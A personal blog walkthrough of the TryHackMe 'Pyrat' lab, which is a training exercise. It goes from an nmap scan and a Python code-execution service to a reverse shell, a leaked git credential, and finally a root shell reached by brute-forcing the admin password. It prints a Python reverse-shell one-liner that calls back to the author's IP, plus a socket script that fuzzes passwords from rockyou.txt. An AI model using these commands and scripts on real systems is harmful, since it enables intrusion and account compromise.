top of page

THM Pyrat

  • aldern00b
  • Mar 22
  • 7 min read

Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.


Well I feel like THAT gave us a bit too much information... almost a step by step. Let's see how accurate that is. We're going to do the same thing we do every night Pinky, run an nmap scan for services with their versions and some simple scripting


nmap -sV -sC 10.10.204.107   
<..snip..>
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=3/16%Time=67D6BC6C%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OK so let's break it down. We have port 22 (ssh) and 8000 (web) open on this. We can see the web is a simple python web shell - kinda like what we would use for getting our bad scripts ... uh.. I mean "feature updates" downloaded onto a client PC. It might be forwarding requests but we can see it got a website. Let's go visit.



Oooh a raging clue!


Let's try a netcat

hold on... is that running python?... okay I'm not strong in python so we're going to do a LOT of research here. So I looked up how to enumerate the current folder:


import os
[print(item) for item in os.listdir(os.getcwd())]

[Errno 13] Permission denied: '/root'

Ok... so we're in the root folder. Let's try something else... maybe a reverse shell? We'll grab a snippet from https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.36.85",7337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

Bam. Shell.

We don't really have any permissions. It looks like there's a single user in the home directory called "think". I'm unable to access it though with his lowkey web user. I don't have any sudo permissions because I don't know the www-data password to run sudo l.


OK, so "well known folder".... let's look around.


We find /var/mail/think and there's an email there.

cat /var/mail/think
From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen

Interesting. Let's dig for that github repo

find / -type d -name ".git" 2>/dev/null
/opt/dev/.git

Going there

cd /opt/dev/.git
$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21  2023 .
drwxrwxr-x 3 think think 4096 Jun 21  2023 ..
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21  2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4096 Jun 21  2023 info
drwxrwxr-x 3 think think 4096 Jun 21  2023 logs
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs

well, well, well.... a plain text password... uhhh another raging clue!

cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = [REDACTED]

Let's see if we can su using this info

$ su think
su think
Password: [REDACTED]

think@Pyrat:/opt/dev/.git$ whoami
whoami
think

Well there we go. Let's go check out the user folder now and see if we can get that first flag.


ls -la /home/think
total 40
drwxr-x--- 5 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun  2  2023 ..
lrwxrwxrwx 1 root  root     9 Jun 15  2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think  220 Jun  2  2023 .bash_logout
-rwxr-x--- 1 think think 3771 Jun  2  2023 .bashrc
drwxr-x--- 2 think think 4096 Jun  2  2023 .cache
-rwxr-x--- 1 think think   25 Jun 21  2023 .gitconfig
drwx------ 3 think think 4096 Jun 21  2023 .gnupg
-rwxr-x--- 1 think think  807 Jun  2  2023 .profile
drwx------ 3 think think 4096 Jun 21  2023 snap
-rw-r--r-- 1 root  think   33 Jun 15  2023 user.txt
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null

think@Pyrat:/opt/dev/.git$ cat /home/think/user.txt
[...REDACTED...]

God these clues are getting me excited. Okay so now we need the root flag. How to move from think to root... something about an "older application" 🤔


While digging around, I was concentrating on this github "rootkit" that was seen in the email we found earlier and really wasn't getting anywhere. I kinda spent more ime there than I should have tbh. I decoded to see what was running while looking for a privesc path:

ps aux | more 

I found something interesting... Is that the python script running when we did that nc?! I need to see what this file is...

<.. snip ..>
root         576  0.0  0.3   8356  3392 ?        S    22:53   0:00 /usr/sbin/CRON -f
root         582  0.0  0.0   2608   600 ?        Ss   22:53   0:00 /bin/sh -c python3 /root/pyrat.py 2>/dev/null
root         583  0.0  1.4  21864 14356 ?        S    22:53   0:00 python3 /root/pyrat.py
daemon       601  0.0  0.2   3796  2180 ?        Ss   22:53   0:00 /usr/sbin/atd -f
root         618  0.0  0.6  12176  6872 ?        Ss   22:53   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Checking out the git status:

git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
 deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")

OMG look at this hard clue!!! How do I get that deleted file and see that beautiful clue.... Let's see if they only deleted it locally but it's still being tracked in git (BTW, I don't do a lot in github so this took a lot of research for me)

git checkout -- pyrat.py.old

Oh baby mmm, this clue has me soooo excited.

think@Pyrat:/opt/dev$ cat pyrat.py.old 
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

OK... I won't lie this is where chatGPT came in and helped me understand this script and then brainstorm some ideas. Here's the python script it came up with for me. Also, as a note - it said to find endpoints, which I assumed was other PCs but chatGPT helped me understand it's actually just sending commands to that running app "pyrat.py" we saw running as root under the ps aux command we ran earlier.

import socket
import time

# Define target details
target_host = "victim_IP"
target_port = 8000
endpoint_list = ["some_endpoint", "admin", "login", "shell"]  # Replace with your actual endpoints
log_file = "responses.log"

def log_response(endpoint, response):
    """Log the endpoint and its response to a file."""
    with open(log_file, "a") as log:
        log.write(f"Endpoint: {endpoint}\nResponse: {response}\n\n")

def test_endpoint(endpoint):
    """Connect to the target, send the endpoint, and log the response."""
    try:
        # Create a socket connection
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((target_host, target_port))

        # Send the endpoint
        client_socket.sendall(f"{endpoint}\n".encode())

        # Receive the response
        response = client_socket.recv(4096).decode()  # Adjust buffer size as needed
        print(f"Tested: {endpoint} | Response: {response}")

        # Log the response
        log_response(endpoint, response)

        # Simulate Ctrl-C by closing the connection
        client_socket.close()
        # Pause before reconnecting
        time.sleep(1)

    except Exception as e:
        print(f"Error testing endpoint '{endpoint}': {e}")
        log_response(endpoint, f"Error: {e}")

def main():
    for endpoint in endpoint_list:
        test_endpoint(endpoint)

if __name__ == "__main__":
    main()

Anyway, here's the responses I got with the "endpoints" it suggested:

python3 findit.py
Tested: some_endpoint | Response: name 'some_endpoint' is not defined
Tested: admin | Response: Password:
Tested: login | Response: name 'login' is not defined
Tested: shell | Response: $

admin looks interesting and the instructions mention fuzzing passwords so let's do that. Testing the response with a manual connect we see that if we just supply admin/admin it just asks for the password again when it's wrong. This gives us a response to deal with.


Let's start fuzzing. Using the old script, we modify it to do passwords instead of commands:

import socket
import time

# Define target details
target_host = "10.10.34.251"
target_port = 8000
log_file = "responsePWD.log"
wordlist_file = "/usr/share/wordlists/rockyou.txt"
endpoint = "admin"

def log_response(endpoint, response):
    """Log the endpoint and its response to a file."""
    with open(log_file, "a") as log:
        log.write(f"Endpoint: {endpoint}\nResponse: {response}\n\n")

def test_endpoint(endpoint, pwd):
    """Connect to the target, send the admin command, log the response"""
    try:
        #Create a socket connection
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((target_host, target_port))

        #Send the admin command
        client_socket.sendall(f"{endpoint}\n".encode())
        response = client_socket.recv(4096).decode().strip()
        log_response(endpoint, response or "[Blank Response]")

        #Pause
        time.sleep(1)
        #Send the password
        client_socket.sendall(f"{pwd}\n".encode())
        responsepwd = client_socket.recv(4096).decode().strip()
        log_response(pwd, responsepwd or "[Blank Response]")

        #Send Ctrl+C
        client_socket.close()

    except Exception as e:
        print(f"Error testing password '{pwd}': {e}")
        log_response(pwd, f"Error: {e}")

def main():
    # Read pwds from the file
    try:
       with open(wordlist_file, "r", encoding="latin-1") as file:
           pwd_list = [line.strip() for line in file if line.strip()]
    except FileNotFoundError:
           print(f"worlist file not found: {wordlist_file}")
           return

    for pwd in pwd_list:
        test_endpoint(endpoint, pwd)

if __name__ == "__main__":
    main()

this starts going through the passwords and we get our match! Ignore where it says "Endpoint", that's supposed to read Password... but you get the idea here.

<..snip..>

Endpoint: admin
Response: Password:

Endpoint: 12345678
Response: Password:

Endpoint: admin
Response: Password:

Endpoint: [REDACTED]
Response: Welcome Admin!!! Type "shell" to begin

Let's go back and manually connect with this information now and get the root flag

nc 10.10.34.251 8000
admin
Password:
[REDACTED]
Welcome Admin!!! Type "shell" to begin
shell
# whoami
root
# cd /root
# cat root.txt
[REDACTED]

OMG these clues went all over the place. It was messy but we got the job done.

Comments


AlderN00b

I.T. Admin    |    Hacking    |    Learning

©2022 by AlderN00b. Proudly created with Wix.com

bottom of page